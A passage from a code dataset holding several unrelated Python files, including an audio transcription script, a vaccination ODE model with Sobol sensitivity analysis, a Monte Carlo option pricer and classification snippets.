time\n\t\"\"\"\n\n\tdef __init__(self, name, tags, init_values=None, reset: bool = True):\n\t\tsuper().__init__(name=name, tags=tags, init_values=init_values, reset=reset)\n\n\t\t# Using time library to avoid delay due to long synchronous operations\n\t\t# which is important when calculating incoming events per second\n\t\tself.LastTime = int(time.time()) # must be in seconds\n\n\tdef _calculate_eps(self):\n\t\teps_values = dict()\n\t\tcurrent_time = int(time.time())\n\t\ttime_difference = max(current_time - self.LastTime, 1)\n\n\t\tfor name, value in self.Values.items():\n\t\t\teps_values[name] = int(value / time_difference)\n\n\t\tself.LastTime = current_time\n\t\treturn eps_values\n\n\tdef flush(self) -> dict:\n\t\tret = self._calculate_eps()\n\t\tif self.Reset:\n\t\t\tself.Values = self.Init.copy()\n\t\treturn ret\n\n\nclass DutyCycle(Metric):\n\t'''\n\thttps://en.wikipedia.org/wiki/Duty_cycle\n\n\t\tnow = self.Loop.time()\n\t\td = now - self.LastReadyStateSwitch\n\t\tself.LastReadyStateSwitch = now\n\t'''\n\n\n\tdef __init__(self, loop, name: str, tags: dict, init_values=None):\n\t\tsuper().__init__(name=name, tags=tags)\n\t\tself.Loop = loop\n\n\t\tnow = self.Loop.time()\n\t\tself.Values = {k: (v, now, 0.0, 0.0) for k, v in init_values.items()}\n\n\n\tdef set(self, name, on_off: bool):\n\t\tnow = self.Loop.time()\n\t\tv = self.Values.get(name)\n\t\tif v is None:\n\t\t\tself.Values[name] = (on_off, now, 0.0, 0.0)\n\t\t\treturn\n\n\t\tif v[0] == on_off:\n\t\t\treturn # No change\n\n\t\td = now - v[1]\n\t\toff_cycle = v[2]\n\t\ton_cycle = v[3]\n\t\tif on_off:\n\t\t\t# From off to on\n\t\t\toff_cycle += d\n\t\telse:\n\t\t\t# From on to off\n\t\t\ton_cycle += d\n\n\t\tself.Values[name] = (on_off, now, off_cycle, on_cycle)\n\n\n\tdef flush(self) -> dict:\n\t\tnow = self.Loop.time()\n\t\tret = {}\n\t\tnew_values = {}\n\t\tfor k, v in self.Values.items():\n\t\t\td = now - v[1]\n\t\t\toff_cycle = v[2]\n\t\t\ton_cycle = v[3]\n\t\t\tif v[0]:\n\t\t\t\ton_cycle += d\n\t\t\telse:\n\t\t\t\toff_cycle += d\n\n\t\t\tfull_cycle = on_cycle + off_cycle\n\t\t\tif full_cycle > 0.0:\n\t\t\t\tret[k] = on_cycle / full_cycle\n\n\t\t\tnew_values[k] = (v[0], now, 0.0, 0.0)\n\n\t\tself.Values = new_values\n\t\treturn ret\n\n\n\tdef rest_get(self):\n\t\trest = super().rest_get()\n\t\trest['Values'] = self.Values\n\t\treturn rest\n","sub_path":"asab/metrics/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":4394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"476929416","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Nov 13 15:24:50 2020\r\n\r\n@author: Vinay Borhade\r\n\"\"\"\r\n#pip install SpeechRecognition\r\n#pip install pydub\r\n\r\nimport os \r\nimport glob\r\nimport pandas as pd\r\nimport speech_recognition as sr\r\nfrom pydub import AudioSegment\r\nfrom pydub.silence import split_on_silence, detect_nonsilent\r\n\r\nclass Audio_Object(object):\r\n \r\n def __init__(self, audio_path, audio_filename, audio_extn):\r\n self.audio_path = audio_path\r\n self.audio_filename = audio_filename\r\n self.audio_extn = audio_extn\r\n \r\n self.audio_stream = sr.AudioFile(self.audio_path + \r\n self.audio_filename +\r\n self.audio_extn)\r\n \r\n self.chunk_path = self.audio_path + \"chunks\" \r\n self.whole_text= \"\" \r\n self.ts = None\r\n \r\n self.text_path = \"./text/\"\r\n self.text_filename = audio_filename\r\n self.text_extn = \".xlsx\"\r\n\r\n @classmethod\r\n def extract_text(cls, filename):\r\n print('In Audio_Object.extract_text')\r\n ''' Extract the text from audio '''\r\n r = sr.Recognizer()\r\n text = \"\"\r\n \r\n # recognize the chunk\r\n with sr.AudioFile(filename) as source:\r\n audio_listened = r.record(source)\r\n # try converting it to text\r\n try:\r\n text = r.recognize_google(audio_listened)\r\n except sr.UnknownValueError as e:\r\n print(\"Error:\", str(e))\r\n else:\r\n text = f\"{text.capitalize()}. \"\r\n print(filename, \":\", text)\r\n \r\n return(text) \r\n \r\n def get_filenames_in_chunk_folder(self):\r\n filenames = glob.glob(self.chunk_path+\"/*.wav\")\r\n return(filenames)\r\n \r\n def extract_text_from_chunk_folder(self):\r\n for filename in self.get_filenames_in_chunk_folder():\r\n self.whole_text += Audio_Object.extract_text(filename)\r\n \r\n def save_ts_df(self):\r\n self.ts.to_excel(self.text_path + \r\n self.text_filename +\r\n self.text_extn)\r\n \r\n def chunk(self):\r\n print('In Audio_Object.Chunk')\r\n ''' Chunk the audio in smaller files and save to chunk_path '''\r\n \r\n # open the audio file using pydub\r\n sound = AudioSegment.from_wav(self.audio_path + \r\n self.audio_filename +\r\n self.audio_extn)\r\n \r\n silence_to_keep = 100\r\n # split audio sound where silence is 700 miliseconds or more and get chunks\r\n chunks = split_on_silence(sound,\r\n # experiment with this value for your target audio file\r\n min_silence_len = 700,\r\n # adjust this per requirement\r\n silence_thresh = sound.dBFS-14,\r\n # keep the silence for 1 second, adjustable as well\r\n keep_silence=silence_to_keep,\r\n )\r\n \r\n # create a directory to store the audio chunks\r\n if not os.path.isdir(self.chunk_path):\r\n os.mkdir(self.chunk_path)\r\n \r\n times = []\r\n #Print detected non-silent chunks, which in our case would be spoken words.\r\n nonsilent_data = detect_nonsilent(sound, min_silence_len=700, silence_thresh=sound.dBFS-14, seek_step=1)\r\n \r\n #convert ms to seconds\r\n print(\"start,Stop\")\r\n for chunks_times in nonsilent_data:\r\n times.append( [ct/1000 for ct in chunks_times])\r\n \r\n self.ts = pd.DataFrame(times, columns=[\"start_time\", \"stop_time\"])\r\n \r\n # print(self.ts.head())\r\n \r\n # process each chunk \r\n \r\n dur_sec = []\r\n text = []\r\n \r\n for i, audio_chunk in enumerate(chunks, start=1):\r\n # export audio chunk and save it in\r\n # the `folder_name` directory.\r\n chunk_filename = os.path.join(self.chunk_path, f\"chunk{i}.wav\")\r\n audio_chunk.export(chunk_filename, format=\"wav\")\r\n \r\n dur_sec.append(audio_chunk.duration_seconds - \r\n ((silence_to_keep*2)/1000))\r\n text.append(Audio_Object.extract_text(chunk_filename))\r\n # return the text for all chunks detected\r\n # return(self.whole_text)\r\n \r\n self.ts['duration'] = dur_sec\r\n self.ts['text'] = text\r\n self.ts['label'] = self.audio_filename\r\n self.save_ts_df()\r\n \r\nif __name__ == \"__main__\":\r\n audio_path = \"./audio/\"\r\n audio_filename = \"An Introduction to Linear Regression Analysis\"\r\n audio_extn = \".wav\"\r\n\r\n audio_obj = Audio_Object(audio_path, audio_filename, audio_extn)\r\n \r\n # chunking to be done only once for an audio file; hence commented\r\n audio_obj.chunk()\r\n \r\n # audio_obj.extract_text_from_chunk_folder()\r\n \r\n # audio_obj.whole_text\r\n \r\n \r\n","sub_path":"Audio.py","file_name":"Audio.py","file_ext":"py","file_size_in_byte":5102,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"430915795","text":"# Implement pow(x, n) % d.\r\n\r\n\r\ndef pow(x, n, d):\r\n if n == 0:\r\n return 1%d\r\n temp = pow(x, n/2, d)\r\n return (temp*temp)%d if n%2==0 else (x*temp*temp)%d\r\n\r\ndef pow(x, n, d):\r\n if x == 0:\r\n return 0\r\n elif n == 0:\r\n return 1\r\n number = 1\r\n while n:\r\n if n & 1:\r\n number = number * x % d\r\n n >>= 1\r\n x = x * x % d\r\n return number\r\n","sub_path":"array/binary search/power.py","file_name":"power.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"474195024","text":"from utility import identifyChats, getMessageFolders, checkMedia\nfrom gui import MainGUI\n\n\nclass Program:\n def __init__(self):\n self.chats = None\n self.folders = None\n self.topTenIndividual = None\n self.topFiveGroups = None\n self.dataDirPath = \"\"\n self.validDir = False\n self.gui = MainGUI(self)\n\n def run(self):\n self.gui.mainloop()\n\n def processMessagesDir(self):\n \"\"\"Processes the directory with the messages for analysis\"\"\"\n self.folders = getMessageFolders(self.dataDirPath)\n self.chats = identifyChats(self.folders)\n checkMedia(self.folders)\n\n def dirSelected(self):\n \"\"\"Checks if directory is valid (contains the 'messages' folder) and colors the entry field\"\"\"\n try:\n self.processMessagesDir()\n except Exception as e:\n self.gui.entryDataDir.config(\n background=\"#f02663\"\n ) # display directory path in red\n self.validDir = False\n self.gui.displayError(e)\n return\n\n self.validDir = True\n self.gui.labelError.config(text=\"\")\n self.gui.entryDataDir.config(\n background=\"#17850b\"\n ) # display directory path in green\n","sub_path":"chatalysis/program.py","file_name":"program.py","file_ext":"py","file_size_in_byte":1260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"571124571","text":"# -*- coding: utf-8 -*-\n\nimport traceback\nfrom haounits.loggerDefTools import get_defTestLogger as getlog\n\n__author__ = 'hao'\n\n\nclass queueBase():\n def __init__(self,queob):\n self.queob = queob\n self.log = getlog()\n\n def _pop(self,quename):\n try:\n return self.queob.pop(quename)\n except:\n self.log.error(traceback.format_exc().replace('\\n' ,' '))\n\n def _push(self,quename,unit):\n try:\n self.queob.push(quename,unit)\n return True\n except:\n self.log.error(traceback.format_exc().replace('\\n' ,' '))\n\n","sub_path":"HaoPy/haokafka/kafkaQueue/queueBase.py","file_name":"queueBase.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"651828562","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Nov 10 14:49:10 2020\r\n\r\n@author: Fer\r\n\"\"\"\r\n\r\n\r\n\r\n\r\nfrom __future__ import division\r\nimport pylab as pl\r\nimport numpy as np\r\nfrom random import gauss\r\nfrom SALib.sample import saltelli\r\nfrom SALib.analyze import sobol\r\nfrom scipy.integrate import odeint, simps\r\n\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\n\r\n\r\n######################################################################\r\n####### Code chunk number 1: Fixed parameters ########################\r\n######################################################################\r\n\r\n\r\n\r\n# birth and natura death rates patch i (b_i, d_i)\r\nb = np.array([1./(70*365),1./(70*365), 1./(70*365)])\r\nd = np.array([1./(70*365),1./(70*365), 1./(70*365)])\r\n\r\n\r\n# disease transmission coefficient (beta_i)\r\nbeta = np.array([0.31, 0.40, 0.53]) # (LR-P1 0.99, MR-P2 1.32, HR-P3 2.01)\r\nalpha = np.array([.45, .45, .45]) # asymptomatic reduction in beta\r\n\r\n# transition from exposed to infectious\r\nk = np.array([1/5.99, 1/5.99, 1/5.99]) # G1,G2,G3\r\n\r\n# fraction who develop symptoms\r\nrho = np.array([.8, .8, .8]) # G1,G2,G3\r\n\r\n\r\n# rate for reporting\r\nnu = np.array([1./3, 1/3, 1/3])\r\n\r\n# recovery rates\r\n# asymtomatic\r\nga = np.array([1/14., 1/14., 1/14.]) # G1,G2,G3\r\n\r\n# symptomatic\r\ng = np.array([1/10.81, 1/10.81, 1/10.81]) # G1,G2,G3\r\n\r\n# reported\r\ngr = np.array([1/5, 1/5, 1/5])\r\n\r\n# RESIDENCE TIME MATRIX\r\n\r\nP = np.array([[1/3, 1/3, 1/3],\r\n [1/3, 1/3, 1/3],\r\n [1/3, 1/3, 1/3]])\r\n\r\n\r\n\r\n#####################################################\r\n###### code block 2: the model #################\r\n#####################################################\r\n\r\ndef deriv(y, t, u, psi, w, theta, rhoV):\r\n S1, V1, E1, Ev1, A1, I1, Ir1, R1, S2, V2, E2, Ev2, A2, I2, Ir2, R2, S3, V3, E3, Ev3, A3, I3, Ir3, R3 = y\r\n #\r\n N1 = S1 + V1 + E1 + Ev1 + A1 + I1 + Ir1 +R1\r\n N2 = S2 + V2 + E2 + Ev2 + A2 + I2 + Ir2 +R2\r\n N3 = S3 + V3 + E3 + Ev3 + A3 + I3 + Ir3 +R3\r\n N = np.array([N1, N2, N3])\r\n A = np.array([A1, A2, A3])\r\n I = np.array([I1, I2, I3])\r\n # effective populations\r\n # 1\r\n N1e = np.dot(P[:, 0],N)\r\n A1e = np.dot(P[:, 0],A)\r\n I1e = np.dot(P[:, 0],I)\r\n # 2\r\n N2e = np.dot(P[:, 1],N)\r\n A2e = np.dot(P[:, 1],A)\r\n I2e = np.dot(P[:, 1],I)\r\n # 3\r\n N3e = np.dot(P[:, 2],N)\r\n A3e = np.dot(P[:, 2],A)\r\n I3e = np.dot(P[:, 2],I)\r\n #\r\n # Force of infection beta_{j}(I_{j}^{e}+alphaA_{j}^{e})/N_{j}^{e}\r\n F = np.array([beta[0]*(I1e + alpha[0]*A1e)/N1e,\r\n beta[1]*(I2e + alpha[1]*A2e)/N2e,\r\n beta[2]*(I3e + alpha[2]*A3e)/N3e])\r\n # incidence\r\n # susceptibles\r\n incS1 = 0.\r\n incS2 = 0.\r\n incS3 = 0.\r\n for j in [0, 1, 2]:\r\n incS1 += P[0,j]*S1*F[j]\r\n incS2 += P[1,j]*S2*F[j]\r\n incS3 += P[2,j]*S3*F[j]\r\n # vaccinated\r\n incV1 = 0.\r\n incV2 = 0.\r\n incV3 = 0.\r\n for j in [0, 1, 2]:\r\n incS1 += P[0,j]*V1*(1-psi[0])*F[j]\r\n incS2 += P[1,j]*V2*(1-psi[1])*F[j]\r\n incS3 += P[2,j]*V3*(1-psi[2])*F[j]\r\n # model equations\r\n dS1dt = b[0]*N[0] - incS1 - u[0]*S1 + w[0]*R1 +theta[0]*V1- d[0]*S1\r\n dV1dt = u[0]*S1 - incV1 - theta[0]*V1 - d[0]*V1\r\n dE1dt = incS1 - (k[0]+ d[0])*E1\r\n dEv1dt= incV1 - (k[0]+ d[0])*Ev1\r\n dA1dt = (1-rho[0])*k[0]*E1 + (1-rhoV[0])*k[0]*Ev1 - (ga[0]+d[0])*A1\r\n dI1dt = rho[0]*k[0]*E1 + rhoV[0]*k[0]*Ev1 - (g[0]+nu[0]+d[0])*I1\r\n dIr1dt= nu[0]*I1 - (gr[0]+d[0])*Ir1 \r\n dR1dt = ga[0]*A1 + g[0]*I1 + gr[0]*Ir1 - (w[0]+d[0])*R1\r\n dS2dt = b[1]*N[1] - incS2 - u[1]*S2 + w[1]*R2 +theta[1]*V2 - d[1]*S2\r\n dV2dt = u[1]*S2 - incV2 - theta[1]*V2- d[1]*V2\r\n dE2dt = incS2 - (k[1]+ d[1])*E2\r\n dEv2dt= incV2 - (k[0]+ d[0])*Ev1\r\n dA2dt = (1-rho[1])*k[1]*E2 +(1-rhoV[1])*k[1]*Ev2 - (ga[1]+d[1])*A2\r\n dI2dt = rho[1]*k[1]*E2 + rhoV[1]*k[1]*Ev2 - (g[1]+nu[1]+d[1])*I2\r\n dIr2dt= nu[1]*I2 - (gr[1]+d[1])*Ir2 \r\n dR2dt = ga[1]*A2 + g[1]*I2 + gr[1]*Ir2 - (w[1]+d[1])*R2\r\n dS3dt = b[2]*N[2] - incS3 - u[2]*S3 + w[2]*R3 + theta[2]*V3 - d[2]*S3\r\n dV3dt = u[2]*S3 - incV3 - theta[2]*V3 - d[2]*V3\r\n dE3dt = incS3 - (k[2]+ d[2])*E3\r\n dEv3dt= incV3 - (k[2]+ d[2])*Ev3\r\n dA3dt = (1-rho[2])*k[2]*E3 + (1-rhoV[2])*k[2]*Ev3 - (ga[2]+d[2])*A3\r\n dI3dt = rho[2]*k[2]*E3 + rho[2]*k[2]*Ev3 - (g[2]+nu[2]+d[2])*I3\r\n dIr3dt= nu[2]*I3 - (gr[2]+d[2])*Ir3 \r\n dR3dt = ga[2]*A3 + g[2]*I3 + gr[2]*Ir3- (w[2]+d[2])*R3\r\n return dS1dt, dV1dt, dE1dt, dEv1dt, dA1dt, dI1dt, dIr1dt, dR1dt, dS2dt, dV2dt, dE2dt, dEv2dt, dA2dt, dI2dt, dIr2dt, dR2dt, dS3dt, dV3dt, dE3dt, dEv3dt, dA3dt, dI3dt, dIr3dt, dR3dt \r\n\r\n\r\n\r\n\r\n######################################################################\r\n####### Code chunk number 3: initial conditions #######################\r\n######################################################################\r\n\r\nt = np.linspace(0, 425, 425)\r\nt2021 = np.linspace(0, 365, 365)\r\n\r\n# initial conditions (S, V, E, Ev, A, I, Ir, R)\r\n# CDMX 22 octubre\r\nCdMxN = 150000\r\nS = .99*CdMxN\r\nI = 300 # activos 5115\r\nA = (1-rho[0])*I # asintomaticos\r\nIr = 0 # confirmados 157000\r\nE = I/k[0] # sospechosos 53604\r\nR = .01*CdMxN # recuperadas 127000\r\nCdMx = np.array([S, 0., E, 0., A, I, Ir, R])\r\n# P1 \r\nP10 = CdMx*0.63\r\n# P2 \r\nP20 = CdMx*0.3\r\n# P3 \r\nP30 = CdMx*0.07\r\n\r\n# complete initial condition\r\ny0 = np.concatenate([P10, P20, P30])\r\n\r\n\r\n\r\n\r\n######################################################################\r\n####### Code chunk number 4: Case without control ###################\r\n######################################################################\r\n\r\n# --------- Vaccine parameters\r\n# vaccination rates\r\nuS0 = np.array([.0, .0, .0]) # Scenario 0 (sin control)\r\n\r\n# vaccine efficacy\r\npsiS0 = np.array([0, 0, 0]) # Scenario 0 (sin control)\r\n\r\n# loss of natural immunity\r\nwS0 = np.array([1./360, 1/360, 1/360]) # Scenario 0 (sin control)\r\n\r\n# loss of vaccine immunity\r\nthetaS0 = np.array([1./180, 1/180, 1/180]) # Scenario 0 (sin control)\r\n\r\n# vaccinated fraction who develop symptoms\r\nrhoVS0 = np.array([.8, .8, .8]) # Scenario 0 (sin control)\r\n\r\n# Solution without control\r\nsolution0 = odeint(deriv, y0, t, args=(uS0, psiS0, wS0, thetaS0, rhoVS0))\r\nS1, V1, E1, Ev1, A1, I1, Ir1, R1, S2, V2, E2, Ev2, A2, I2, Ir2, R2, S3, V3, E3, Ev3, A3, I3, Ir3, R3 = solution0.T\r\n\r\n\r\n# Contando el numero de casos a partir de 2021\r\n#asymptomaticWC = simps(A1[59:-1]+A2[59:-1]+A3[59:-1], t2021)\r\n#symptomaticWC = simps(I1[59:-1]+I2[59:-1]+I3[59:-1], t2021)\r\nreportedWC_P3 = simps(Ir3[59:-1], t2021)\r\n\r\n\r\n# Initial condition for 2021...for the reported function below\r\ny2021 = solution0[60]\r\n\r\n\r\n######################################################################\r\n####### Code chunk number 5: reported function #######################\r\n######################################################################\r\n\r\n# --------- define reported as a function of a vector of parameters \"x\"\r\n# ------------ \"x\" are the parameters for the sensitivity exploration \r\n\r\n\r\n\r\n\r\ndef reported(x):\r\n theta = x[0]\r\n T = x[1]\r\n psi = x[2]\r\n Coverage = x[3]\r\n rhoV = x[4]\r\n u = -np.log(1-Coverage)/T\r\n n1 = gauss(0.9, 0.05) # random number (mean, sd)\r\n n2 = gauss(0.9, 0.05) # random number (mean, sd)\r\n thetaVector = np.array([n1*theta, n2*theta, theta])\r\n psiVector = np.array([n2*psi, n1*psi, psi])\r\n rhoV_Vector = np.array([rhoV, n1*rhoV, n2*rhoV])\r\n uVector = np.array([n2*u, n1*u, u])\r\n # solution with control\r\n solution1 = odeint(deriv, y2021, t2021, args=(uVector, psiVector, wS0, thetaVector, rhoV_Vector))\r\n S11, V11, E11, Ev11, A11, I11, Ir11, R11, S21, V21, E21, Ev21, A21, I21, Ir21, R21, S31, V31, E31, Ev31, A31, I31, Ir31, R31 = solution1.T\r\n # Contando los casos para el escenario con control\r\n #reported = simps(Ir11+Ir21+Ir31, t2021)\r\n reportedP3 = simps(Ir31, t2021)\r\n PERCENTAGE_REDUCTION_REPORTED = 1-(reportedP3/reportedWC_P3)\r\n return PERCENTAGE_REDUCTION_REPORTED\r\n\r\n\r\n\r\n\r\n########################################################################\r\n####### Code chunk number 3: Defining sensitivity ranges #########\r\n########################################################################\r\n\r\n\r\n\r\n#-define a function to evaluate the values of the parameters in R0\r\n \r\ndef evaluate(values):\r\n Y = np.empty([values.shape[0]])\r\n for i, X in enumerate(values):\r\n Y[i] = reported(X)\r\n return Y\r\n\r\n\r\n\r\n#-define the ranges for the parameters in x\r\n \r\nproblem = {\r\n'num_vars': 5, # number of parameters \r\n'names': ['Duration', 'Time', 'Efficacy','Coverage','Symptomatic'], \r\n'bounds': [[1/365, 1/180],[30, 150],[0.5, 0.95],[.1, .5],[0.01,0.5]] #ranges\r\n}\r\n\r\n\r\n\r\n\r\n########################################################################\r\n####### Code chunk number 6: Performing the analysis #########\r\n########################################################################\r\n\r\n\r\n# ------------Generate samples\r\n\r\nnumber_of_samples = 5000\r\nparam_values = saltelli.sample(problem, number_of_samples, calc_second_order=True)\r\n# problem represents our parameters ranges defined above\r\n# calc_second_order=True is to compute second order indices\r\n\r\n\r\n# ------------Run model (example)\r\n\r\nY = evaluate(param_values)\r\nprint(Y)\r\n\r\n\r\n# ------------Perform analysis\r\nSi = sobol.analyze(problem, Y, print_to_console=False)\r\n#Si = sobol.analyze(problem, Y, print_to_console=False)\r\n# Returns a dictionary with keys 'S1', 'S1_conf', 'ST', and 'ST_conf'\r\n# (first and total-order indices with bootstrap confidence intervals)\r\n\r\n\r\n# -------------Printing some results\r\n#print(\"First Order Indices\", Si['S1'])\r\n#print(\"Total Order Indices\", Si['ST'])\r\n\r\n\r\n\r\n\r\n########################################################################\r\n####### Code chunk number 8: Plotting the results ############\r\n########################################################################\r\n\r\n\r\n\r\n\r\n# -------------------------the histogram of the data\r\n#pl.figure()\r\n\r\n#pl.hist(Y,bins=20, normed=1)\r\n#pl.title('Re')\r\n#pl.show()\r\nfig1 = plt.figure(facecolor='w')\r\nax = fig1.add_subplot(111, facecolor='#dddddd', axisbelow=True)\r\nax.hist(Y, bins=30, color='g', edgecolor='k')\r\nax.set_xlabel('Percentage reduction in the reported cases')\r\nax.set_ylabel('Frequency')\r\n#ax.set_title(r'Histogram for $\\mathcal{R}_{e}$')\r\nax.grid(b=True, which='major', c='w', lw=2, ls='-')\r\nlegend = ax.legend()\r\n#legend.get_frame().set_alpha(0.5)\r\nfor spine in ('top', 'right', 'bottom', 'left'):\r\n ax.spines[spine].set_visible(False) \r\n\r\n\r\n#---------------------- Bar plot for the Sobol indices\r\n\r\nN = len(Si['S1'])\r\nFirstOrder = Si['S1']\r\nTotalOrder = Si['ST']\r\nFOconf = Si['S1_conf']\r\nTOconf = Si['ST_conf']\r\nind = np.arange(N) # the x locations for the groups\r\nwidth = 0.5 # the width of the bars: can also be len(x) sequence\r\n\r\n\r\nfigIndices = plt.figure(facecolor='w')\r\nax = figIndices.add_subplot(111, facecolor='#dddddd', axisbelow=True)\r\nax.bar(ind, FirstOrder, width, color='#d62728', yerr=FOconf, label='First Order')\r\nax.bar(ind+width, TotalOrder, width, yerr=TOconf, label='Total Order')\r\nax.set_xticks(ind+width/2)\r\nax.set_xticklabels((r'$\\theta$', r'$T$', r'$\\psi$', r'$C$', r'$\\tilde{\\rho}$'))\r\nax.set_ylabel('Sobol sensitivity indices')\r\n#ax.set_title(r'$Sobol\\'s$ indices for $\\mathcal{R}_{e}$')\r\nax.yaxis.set_tick_params(length=0)\r\nax.xaxis.set_tick_params(length=0)\r\nax.grid(b=True, which='major', c='w', lw=2, ls='-')\r\nlegend = ax.legend()\r\n#legend.get_frame().set_alpha(0.5)\r\nfor spine in ('top', 'right', 'bottom', 'left'):\r\n ax.spines[spine].set_visible(False) \r\n\r\n\r\n\r\nplt.show()","sub_path":"SensitivityP3Reported.py","file_name":"SensitivityP3Reported.py","file_ext":"py","file_size_in_byte":11555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"612723447","text":"import random\nimport math\n\nfrom normals import inverse_cumulative_normal\n\n\ndef simple_mc(the_boundary_condition, level, vol, drift, n_paths):\n \"\"\"\n A Monte Carlo Simulation with an abstract base class Condition, \n polymorphic boundary-condition behavior,\n and an encapsulated time parameter\n\n \"\"\"\n\n # Get the time parameter\n time = the_boundary_condition.get_time()\n\n # the square of the coefficient of sigma * sqrt(T) * N(0,1)\n variance = vol * vol * time\n\n # the sqrt of above, the actual coefficient\n root_variance = math.sqrt(variance)\n\n # correct for stochastic derivative\n ito_correction = -0.5 * variance\n\n # drift part, S0 * exp(rT - 0.5*sigma^2)\n moved_level = level * math.exp(drift * time + ito_correction)\n\n # initialize summation\n running_sum = 0\n\n # do n simulations\n for i in range(n_paths):\n\n # get realization of standard normal r.v.\n this_gaussian = inverse_cumulative_normal(random.uniform(0, 1))\n\n # random part\n this_level = moved_level * math.exp(root_variance * this_gaussian)\n\n # boundary condition\n this_condition = the_boundary_condition.boundary_condition(this_level)\n\n # add to running sum\n running_sum += this_condition\n\n # divide sum by # of paths\n mean = running_sum / n_paths\n\n # convert to martingale\n mean *= math.exp(- drift * time)\n\n return mean\n","sub_path":"04 Bridging/040 First Solution/simple_mc.py","file_name":"simple_mc.py","file_ext":"py","file_size_in_byte":1410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"256321764","text":"import re\n\nfrom string_utils.parsers import strtime_to_us\n\nimport pandas as pd\n\n\n\nclass Spot:\n\n def __init__(self, path, encoding='Windows-1250'):\n with open(path, encoding=encoding) as f:\n string = f.read()\n\n string = re.sub('\\t+| +', ' ', string)\n lines = string.split('\\n')\n lines = list(filter(lambda x: x.strip() != '', lines))\n lines = list(map(lambda x: list(filter(lambda y: y.strip() != '', x.split(' '))), lines))\n header = lines[0]\n del(lines[0])\n columns = list(zip(*lines))\n table = dict(zip(header, columns))\n table['ScoreN'] = list(map(float, table['ScoreN']))\n table['FrameFromN'] = list(map(int, table['FrameFromN']))\n table['DurationN'] = list(map(int, table['DurationN']))\n table['AuxScoreN'] = list(map(float, table['AuxScoreN']))\n table['TimeFromT'] = list(map(strtime_to_us, table['TimeFromT']))\n table['TimeToT'] = list(map(strtime_to_us, table['TimeToT']))\n\n self._df = pd.DataFrame(table).rename(index=str, columns={\n \"FilenameS\" : \"Filename\",\n \"KeywordS\" : \"Keyword\", \n \"ScoreN\" : \"Score\", \n \"TimeFromT\" : \"TimeFrom\", \n \"TimeToT\" : \"TimeTo\",\n \"FrameFromN\" : \"FrameFrom\",\n \"DurationN\" : \"Duration\",\n \"AuxScoreN\" : \"AuxScore\",\n \"FillerS\" : \"Filler\"})\n\n self._df[\"TimeFrom\"] = self._df[\"TimeFrom\"] // 1000 # ms\n self._df[\"TimeTo\"] = self._df[\"TimeTo\"] // 1000 # ms \n\n\n @property\n def df(self): return self._df\n\n @property\n def audio_files(self): return set(self._df['FilenameS'])\n","sub_path":"files/spot.py","file_name":"spot.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"641901246","text":"\"\"\"\nClassification - set of tools\n\"\"\"\n# basic libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n# Importing the dataset\ndf = pd.read_csv(' ')\nX = df.iloc[:, :].values\ny = df.iloc[:, :].values\n\n# Splitting the dataset: training set, test set\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.25, random_state = 0)\n\n# scaling\nfrom sklearn.preprocessing import StandardScaler\nstsc = StandardScaler()\nX_train = stsc.fit_transform(X_train)\nX_test = stsc.transform(X_test)\n\n\n#Basic table with results\ndf3 = pd.DataFrame({'y_pred':y_pred, 'y_result':y_test})\ndf3['difference'] = df3['y_result'] == df3['y_pred']\nprint(df3)\nprint(df3['difference'].value_counts())\n# percentage of bad predictions\nprint(df3['difference'].value_counts()[0]/df3['difference'].value_counts()[1])\n\n\n# Confusion Matrix\nfrom sklearn.metrics import confusion_matrix\nCm = confusion_matrix(y_test, y_pred)\nprint(Cm)\ntn, fp, fn, tp = confusion_matrix(y_test, y_pred).ravel()\n#accuracy rate\naccR = (tn+tp)/(tn+fp+fn+tp)\nprint(accR)\n\n#classification report\nfrom sklearn.metrics import classification_report\ntst = classification_report(y_test, y_pred)\nprint(tst)\n\n\n# Visualising the Test set (by www.superdatascience.com)\nfrom matplotlib.colors import ListedColormap\nX_set, y_set = X_test, y_test\nX1, X2 = np.meshgrid(np.arange(start = X_set[:, 0].min() - 1, stop = X_set[:, 0].max() + 1, step = 0.01),\n np.arange(start = X_set[:, 1].min() - 1, stop = X_set[:, 1].max() + 1, step = 0.01))\nplt.contourf(X1, X2, classifier.predict(np.array([X1.ravel(), X2.ravel()]).T).reshape(X1.shape),\n alpha = 0.75, cmap = ListedColormap(('red', 'green')))\nplt.xlim(X1.min(), X1.max())\nplt.ylim(X2.min(), X2.max())\nfor i, j in enumerate(np.unique(y_set)):\n plt.scatter(X_set[y_set == j, 0], X_set[y_set == j, 1],\n c = ListedColormap(('red', 'green'))(i), label = j)\nplt.title('Classifier (Test set)')\nplt.xlabel('Age')\nplt.ylabel('Estimated Salary')\nplt.legend()\nplt.show()\n\n\n#error_rate test\nerror_rate = []\n#for RandomForest more is needed, ex. 1,500\nfor i in range(1,40):\n #RandomForestClassifier(n_estimators = i, criterion = 'entropy', random_state = 0)\n knn = KNeighborsClassifier(n_neighbors=i, metric='minkowski', p = 2)\n knn.fit(X_train,y_train)\n pred_i = knn.predict(X_test)\n error_rate.append(np.mean(pred_i != y_test))\n\n\n#error rate test visualisation:\nplt.figure(figsize=(10,6))\n#range for RandomForest must be changed\nplt.plot(range(1,40),error_rate,color='blue', linestyle='dashed', marker='o',\n markerfacecolor='red', markersize=10)\nplt.title('Error Rate vs. K Value')\nplt.xlabel('K')\nplt.ylabel('Error 